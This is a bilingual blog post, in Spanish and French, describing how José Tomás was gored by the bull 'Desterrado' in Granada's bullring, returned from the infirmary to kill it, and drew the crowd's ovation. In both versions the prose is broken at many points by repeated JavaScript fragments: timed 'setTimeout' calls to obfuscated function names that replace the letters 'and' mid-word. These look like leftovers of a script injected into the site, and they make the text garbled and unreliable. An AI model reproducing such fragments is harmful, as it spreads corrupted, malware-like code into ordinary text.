TODA UNA VIDA…TOUTE UNE VIE…

Hay veces que la emoción bloquea la garganta y las lágrimas se abren paso a puñetazos de pura realidad; veces en las que todo nuestro ser se conmueve estremecido por la fuerza de los sentimientos, que pugnan por aflorar a través de la piel poniéndonos la carne de gallina.

El pasado jueves, en la plaza de toros de Granada, viví en unánime comunión con la totalidad de la gente que abarrotaba el coso, uno de esos momentos mágicos y transidos de humanidad; uno de esos momentos que aún me hacen creer en la condición humana, a pesar de todos los horrores con que nos despertamos cada día.

Al término de una tandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda de naturales a “Desterrado” –quinto astado de la tarde y con un trapío de plaza de primera–, José Tomás cometió dos errores: perderle la cara al toro e irse de él a favor de su querencia a tablas. Los pagó caro. El burel se le vino encima de improviso y se lo echó a los lomos en una dramática voltereta que dejó al torero tendido boca abajo en la arena, absolutamente inmóvil y con una flacidez en el cuerpo que hizo estallar en nuestras conciencias los presagios más agoreros. Desmadejado, inerte, fue conducido a la enfermería mientras en los tendidos se sucedían y simultaneaban escenas de angustia, lipotimias, ataques de nervios y conmoción generalizada. A José Tomás, al rey de los toreros que había venido a coronarse en el corazón del reino nazarí, un toro parecía haberle partido la vida.

Nerviosismo en los tendidos, nerviosismo en el callejón y en Finito de Córdoba, que, muleta en mano, se había puesto delante de “Desterrado” para largarle un innoble y huidizo pinchazo… Y en esto, que la puerta de la enfermería se abre para dejar paso al torero, blanco como un espectro que regresara de entre los muertos, quien, sin aspavientos, ordena a los lidiadores que dejen el toro porque él ha salido a matarlo.

Entonces sucedió. Verlo y alzarse en pie la plaza entera con un rugido impresionante, mezcla de admiración, alivio y agradecimiento, fue todo uno. Nunca he visto a la emoción tocar las palmas de esa forma, ni un amor tan profundo en los gritos de ¡Torero, Torero, Torero…! que se fueron apoderandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando de la plaza mientras continuaba la extraordinaria manifestación de exaltación al torero, al hombre, al prójimo que llevamos palpitandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando en las entrañas, a ese ser generoso que volvía del dolor, y en dolor, a poner colofón a su obra con el pundonor y vergüenza torera que lo caracterizan. Lo logró de pinchazo, volapié y certero descabello y no hubo entonces pañuelo que no abandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andonara el bolsillo para ondear reivindicandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando laureles para el héroe. Dos orejas. A mi juicio: premio simbólico, más que a una faena, a un ejemplo de honradez y a una forma de sentir y vivir el toreo.

 Dos orejas que, desde mi corazón agradecido, otorgo yo también al público de Granada por su sensibilidad. Me sentí muy feliz al reconocerme en él y orgulloso de ser aficionado a los toros. Mientras, en mi interior atenazado, la música de un bolero ponía un sonido dulzón a mi estremecimiento: “Toda una vida…”

tomas06 

 

Parfois l’émotion vous prend à la gorge et les larmes vous secouent comme des coups de poing de pure réalité; des fois  tout notre être est ému par la puissance des sentiments, qui nous transpercent et  nous donnnent la chair de poule.

Jeudi dernier, à Grenade, j’ai vécu une totale communion avec tout le public qui remplissait les arènes, un de ces moments magiques et transis d’humanité; un de ces moments qui me font encore croire en la condition humaine, malgré toutes les horreurs avec lesquelles nous nous réveillons chaque jour.

A l’issue d’une série de naturelles à “Desterrado” –cinquième toro de la corrida avec un trapio pour des arènes de première-, José Tomás commit deux erreurs: se retourner devant le toro et partir en direction du burladero où l’animal avait sa querencia. Il l’a payé chèrement. Le cornu s’est rué sur lui à l’improviste et l’a renversé de façon dramatique car à l’issue de cette culbute le torero s’étala  ventre à terre, absolument immobile et ce corps inanimé vit s’agiter dans nos consciences les plus mauvais présages. Amorphe, inerte il fut conduit à l’infirmerie alors que sur les gradins s’enchaînaient les scènes d’angoisse, les évanouissements, les crises de nerfs et la commotion était générale. Un toro semblait avoir arraché la vie à José Tomás, le roi des toreros qui était venu se couronner au coeur du royaume nazarí.

On était fébriles sur les gradins, dans le callejón mais aussi Finito de Córdoba qui , armé de sa muleta, s’était mis devant “Desterrado” pour lui infliger un ignoble et fuyant pinchazo… Et c’est à cet instant que la porte de l’infirmerie s’ouvre pour laisser place au torero qui, blanc comme un spectre, revient parmi les humains et sans remontrances demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande aux toreros de lui laisser le toro car il est sorti pour le tuer.

C’est là que c’est arrivé. Au moment même  où il apparut  tout le public se mit debout dans un rugissement impressionnant, mélange d’admiration, de soulagement et de remerciement. Je n’ai jamais entendu une ovation aussi émouvante, ni un amour aussi profond qui aux cris de Torero, Torero, Torero! .. submergait les arènes alors que se prolongeait l’extraordinaire manifestation d’exaltation du torero, de l’homme, du prochain qui palpite en nous, envers cet être généreux qui revenait de la douleur et endori s’apprêtait à parachever son oeuvre avec ce don de soi et cette fierté qui le caractérisent. Il y parvint après un pinchazo, un volapié et un descabello décisif et il  n’y eut plus un seul mouchoir gardé dans la poche pour l’agiter demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andant les lauriers pour le héros.  Deux oreilles: prix symbolique, plus que pour une faena, à un exemple d’honnêteté et à une façon de sentir et de vivre le toreo.

Deux oreilles, que j’aurais donné aussi au public de Grenade pour sa sensibilité. Je me suis sentí très heureux de ne faire qu’un avec lui, fier d’être aficionado a los toros. Pendant ce temps, la musique d’un bolero résonnait en moi: “Toute une vie…”

 

tomas06

Les commentaires sont fermés.